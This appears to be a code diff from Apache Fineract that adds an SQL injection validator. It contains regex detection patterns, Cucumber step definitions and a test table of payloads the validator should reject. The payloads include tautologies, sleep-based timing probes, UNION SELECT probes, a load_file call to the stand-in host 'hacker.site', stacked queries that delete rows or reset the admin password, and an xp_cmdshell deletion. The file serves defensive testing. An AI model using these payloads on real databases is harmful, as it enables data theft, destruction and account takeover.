import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.function.Executable;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
|
||||
public class SqlValidatorStepDefinitions implements En {
|
||||
|
||||
private static final Logger log = LoggerFactory.getLogger(SqlValidatorStepDefinitions.class);
|
||||
|
||||
@Autowired
|
||||
private SqlValidator sqlValidator;
|
||||
|
||||
private Executable executable;
|
||||
private String statement;
|
||||
private Integer fuzzy = 0;
|
||||
|
||||
public SqlValidatorStepDefinitions() {
|
||||
Given("/^A partial SQL statement (.*) with whitespaces fuzzy degree (\\d*)$/", (String statement, Integer fuzzy) -> {
|
||||
this.statement = statement;
|
||||
if (fuzzy != null) {
|
||||
this.fuzzy = fuzzy;
|
||||
}
|
||||
});
|
||||
|
||||
When("Validating the partial statement", () -> {
|
||||
if (fuzzy != null && fuzzy > 0) {
|
||||
String whitespaces = RandomStringUtils.random(fuzzy, '\n', '\r', '\t', ' ');
|
||||
statement = statement.replaceAll(" ", whitespaces);
|
||||
}
|
||||
|
||||
executable = () -> sqlValidator.validate(statement);
|
||||
});
|
||||
|
||||
Then("/^The validator had exception message (.*)$/", (String expectedMessage) -> {
|
||||
if (StringUtils.isBlank(expectedMessage)) {
|
||||
Assertions.assertDoesNotThrow(executable);
|
||||
} else {
|
||||
var exception = Assertions.assertThrows(SqlValidationException.class, executable);
|
||||
|
||||
assertEquals(expectedMessage, exception.getMessage());
|
||||
|
||||
// log.info("Validator message: {}", exception.getMessage());
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -99,6 +99,103 @@ fineract.sampling.sampledClasses=
|
||||
|
||||
fineract.module.investor.enabled=true
|
||||
|
||||
# sql validation
|
||||
|
||||
# inject-blind
|
||||
fineract.sql-validation.patterns[0].name=inject-blind
|
||||
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
|
||||
|
||||
# detect-entry-point
|
||||
fineract.sql-validation.patterns[1].name=detect-entry-point
|
||||
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
|
||||
|
||||
# inject-timing
|
||||
fineract.sql-validation.patterns[2].name=inject-timing
|
||||
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
|
||||
|
||||
# detect-backend
|
||||
fineract.sql-validation.patterns[3].name=detect-backend
|
||||
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
|
||||
|
||||
# detect-column
|
||||
fineract.sql-validation.patterns[4].name=detect-column
|
||||
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
|
||||
|
||||
# detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
|
||||
|
||||
# inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].name=inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
|
||||
|
||||
# inject-comment
|
||||
fineract.sql-validation.patterns[7].name=inject-comment
|
||||
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
|
||||
|
||||
# main
|
||||
fineract.sql-validation.profiles[0].name=main
|
||||
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[0].enabled=true
|
||||
|
||||
# adhoc
|
||||
fineract.sql-validation.profiles[1].name=adhoc
|
||||
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[1].enabled=true
|
||||
|
||||
# dynamic
|
||||
fineract.sql-validation.profiles[2].name=dynamic
|
||||
fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[2].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[2].enabled=true
|
||||
|
||||
management.health.jms.enabled=false
|
||||
|
||||
# FINERACT 1296
|
||||
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
#
|
||||
# Licensed to the Apache Software Foundation (ASF) under one
|
||||
# or more contributor license agreements. See the NOTICE file
|
||||
# distributed with this work for additional information
|
||||
# regarding copyright ownership. The ASF licenses this file
|
||||
# to you under the Apache License, Version 2.0 (the
|
||||
# "License"); you may not use this file except in compliance
|
||||
# with the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing,
|
||||
# software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
# KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations
|
||||
# under the License.
|
||||
#
|
||||
|
||||
Feature: Security Utils SQL validator
|
||||
|
||||
@security
|
||||
Scenario Outline: Verify that detects all configured SQL injection patterns
|
||||
Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
|
||||
When Validating the partial statement
|
||||
Then The validator had exception message <exception>
|
||||
|
||||
Examples:
|
||||
| statement | fuzzy | exception |
|
||||
| or 'a' = 'a' | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| ' or 'a' = 'a' | 12 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 'a' = 'a' -- | 27 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 'a' = 'a' /* | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| abc' Or 'a' = 'a' /* | 19 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| OR 1 = 1 | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| ' or 1 = 1 | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 1 = 1 ----- | 57 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 1 = 1 /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| 123 | 0 | |
|
||||
| 2.59 | 0 | |
|
||||
| abc123xyz | 0 | |
|
||||
| true | 0 | |
|
||||
| [2024, 4, 21] | 7 | |
|
||||
| ["abc", "def", "ghi", "jkl", "mno"] | 7 | |
|
||||
| ') | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ')) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| '))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) ) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) )))) ))))) ))) )) | 23 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ") | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ")) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| "))) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| 1' + sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' and Sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' && sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \| SLEEP(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \|\| sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \|\| pg_sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| abc' && benchmark( 400000 , sha1(1) ) | 17 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' and if(1=1, sleep(15), false) | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["connection_id()=connection_id()" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| ["current_database()=current_database()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| 1' ORDER by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' ORDER BY 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' ORDER BY 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' group by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| abc' group by 1, 2 -- | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' group by 1, 2, 3 /* | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' union select null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' UNION SELECT null, null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| checkedOnDate | 23 | |
|
||||
| officeName | 23 | |
|
||||
| resourceId | 23 | |
|
||||
| clientId | 23 | |
|
||||
| processingResult | 23 | |
|
||||
| clientName | 23 | |
|
||||
| maker | 23 | |
|
||||
| subresourceId | 23 | |
|
||||
| checker | 23 | |
|
||||
| savingsAccountNo | 23 | |
|
||||
| loanAccountNo | 23 | |
|
||||
| groupName | 23 | |
|
||||
| entityName | 23 | |
|
||||
| madeOnDate | 23 | |
|
||||
| id | 23 | |
|
||||
| loanId | 23 | |
|
||||
| actionName | 23 | |
|
||||
| select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); | 17 | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern) |
|
||||
| 1; DELETE FROM products | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 1; UPDATE members SET password='pwd' WHERE username='admin' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 1; exec master..xp_cmdshell 'DEL important_file.txt' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 123 -- | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| ' /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| abc' # | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| 2 ({ | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
|
||||
Reference in New Issue
Block a user